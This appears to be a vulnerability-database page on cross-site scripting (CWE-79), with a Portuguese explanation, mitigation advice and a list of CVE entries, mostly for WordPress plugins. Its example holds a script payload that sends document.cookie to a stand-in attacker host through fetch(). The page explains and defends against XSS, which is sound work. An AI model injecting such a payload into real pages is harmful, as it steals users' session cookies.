Fallos del tipo CWE-79

29.810 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-32598HIGHWordPress Featured Image Pro Post Grid Plugin <= 5.14 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-32603HIGHWordPress Donations Made Easy – Smart Donations Plugin <= 4.0.12 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-28789HIGHWordPress Contact Forms by Cimatti Plugin <= 1.5.4 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-32300HIGHWordPress Yoast SEO: Local Plugin <= 14.8 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-28993HIGHWordPress Albo Pretorio Online Plugin <= 4.6.1 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-33317HIGHWordPress WooCommerce Warranty Requests Plugin <= 2.1.6 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-27432HIGHWordPress Manage Upload Limit Plugin <= 1.0.4 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2026-32258HIGHWinter: Stored XSS through Editor Settings custom stylesEPSS 0.4%CVE-2023-34026HIGHWordPress This Day In History Plugin <= 3.10.1 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2025-0709MEDIUMDcat-Admin Roles Page roles cross site scriptingEPSS 0.4%CVE-2023-34184HIGHWordPress Woocommerce Order address Print Plugin <= 3.2 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-45071HIGHWordPress Form Maker by 10Web Plugin <= 1.15.18 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-40196HIGHWordPress ImageRecycle pdf & image compression Plugin <= 3.1.11 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-28693HIGHWordPress Advanced Youtube Channel Pagination Plugin <= 1.0 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-30747HIGHWordPress WooCommerce Easy Duplicate Product Plugin <= 0.3.0.0 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-30753HIGHWordPress IP Metaboxes Plugin <= 2.1.1 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-35043HIGHWordPress Recent Posts Slider Plugin <= 1.1 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-40205HIGHWordPress PixTypes Plugin <= 1.4.15 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-45065HIGHWordPress Bulk NoIndex & NoFollow Toolkit Plugin <= 1.42 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-33332HIGHWordPress WooCommerce Product Vendors Plugin <= 2.1.76 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%